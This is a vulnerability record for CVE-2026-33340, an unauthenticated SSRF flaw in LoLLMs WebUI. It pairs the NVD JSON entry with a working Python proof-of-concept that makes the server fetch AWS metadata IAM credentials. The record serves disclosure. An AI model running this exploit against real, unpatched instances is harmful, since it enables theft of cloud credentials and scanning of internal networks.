CVE-2026-33340

import requests # Target URL of the vulnerable LoLLMs WEBUI instance target_url = "http://target-host:9600/api/proxy" # Malicious payload targeting AWS metadata (common SSRF target) # Attackers can change this to scan internal network ranges like http://192.168.1.1 payload = { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" } try: # Send POST request to exploit the SSRF vulnerability response = requests.post(target_url, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Leaked data from internal service:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-33340", "sourceIdentifier": "[email protected]", "published": "2026-03-24T17:16:44.423", "lastModified": "2026-04-20T20:22:05.330", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LoLLMs WEBUI provides the Web user interface for Lord of Large Language and Multi modal Systems. A critical Server-Side Request Forgery (SSRF) vulnerability has been identified in all known existing versions of `lollms-webui`. The `@router.post(\"/api/proxy\")` endpoint allows unauthenticated attackers to force the server into making arbitrary GET requests. This can be exploited to access internal services, scan local networks, or exfiltrate sensitive cloud metadata (e.g., AWS/GCP IAM tokens). As of time of publication, no known patched versions are available."}, {"lang": "es", "value": "LoLLMs WEBUI proporciona la interfaz de usuario web para Lord of Large Language and Multi modal Systems. Una vulnerabilidad crítica de falsificación de petición del lado del servidor (SSRF) ha sido identificada en todas las versiones existentes conocidas de 'lollms-webui'. El endpoint '@router.post(\"/api/proxy\")' permite a atacantes no autenticados forzar al servidor a realizar peticiones GET arbitrarias. Esto puede ser explotado para acceder a servicios internos, escanear redes locales o exfiltrar metadatos sensibles de la nube (p. ej., tokens IAM de AWS/GCP). A la fecha de publicación, no hay versiones parcheadas conocidas disponibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}, {"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lollms:lollms_web_ui:-:*:*:*:*:*:*:*", "matchCriteriaId": "E0447480-50CE-4682-B3B1-B8F021C5C731"}]}]}], "references": [{"url": "https://github.com/ParisNeo/lollms-webui/blob/8c5dcef63d847bb3d027ec74915d8fe4afd3014e/lollms/server/endpoints/lollms_apps.py#L443-L450", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/ParisNeo/lollms-webui/security/advisories/GHSA-mcwr-5469-pxj4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}